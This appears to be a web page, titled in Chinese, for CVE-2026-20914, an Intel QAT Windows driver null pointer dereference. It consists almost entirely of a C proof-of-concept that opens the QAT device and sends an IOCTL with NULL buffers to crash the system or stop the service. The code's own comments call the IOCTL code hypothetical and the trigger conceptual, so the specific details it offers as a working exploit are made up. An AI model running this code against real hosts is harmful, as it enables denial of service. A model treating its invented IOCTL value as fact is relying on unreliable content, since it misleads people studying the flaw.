CVE-2026-20914 Intel QAT驱动空指针解引用漏洞

/* * PoC for CVE-2026-20914 * This code demonstrates a conceptual trigger for the Null Pointer Dereference * in Intel QAT software drivers for Windows before version 2.6.0. * Compile with: gcc poc.c -o poc */ #include <windows.h> #include <stdio.h> // Simulate the vulnerable function call structure typedef BOOL (*PFN_VULNERABLE_IOCTL)(HANDLE, DWORD, LPVOID, DWORD, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); int main() { HANDLE hDevice; DWORD bytesReturned; // Attempt to open the QAT device (Symbolic link name may vary) hDevice = CreateFileA("\\\\.\\QATDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[!] Failed to open device. Error: %d\n", GetLastError()); printf("[!] This PoC requires the vulnerable driver to be loaded.\n"); return 1; } printf("[*] Device opened successfully.\n"); printf("[*] Sending malicious IOCTL to trigger Null Pointer Dereference...\n"); // Trigger the vulnerability by passing NULL as the input/output buffer // The specific IOCTL code (0x80002010) is hypothetical for this example BOOL result = DeviceIoControl(hDevice, 0x80002010, // Hypothetical IOCTL code NULL, // NULL Input Buffer (Trigger) 0, NULL, // NULL Output Buffer 0, &bytesReturned, NULL); if (!result) { printf("[!] DeviceIoControl failed. Error: %d\n", GetLastError()); printf("[*] If the system crashed or service stopped, the PoC was successful.\n"); } else { printf("[-] IOCTL returned success, vulnerability may not be triggered or patched.\n"); } CloseHandle(hDevice); return 0; }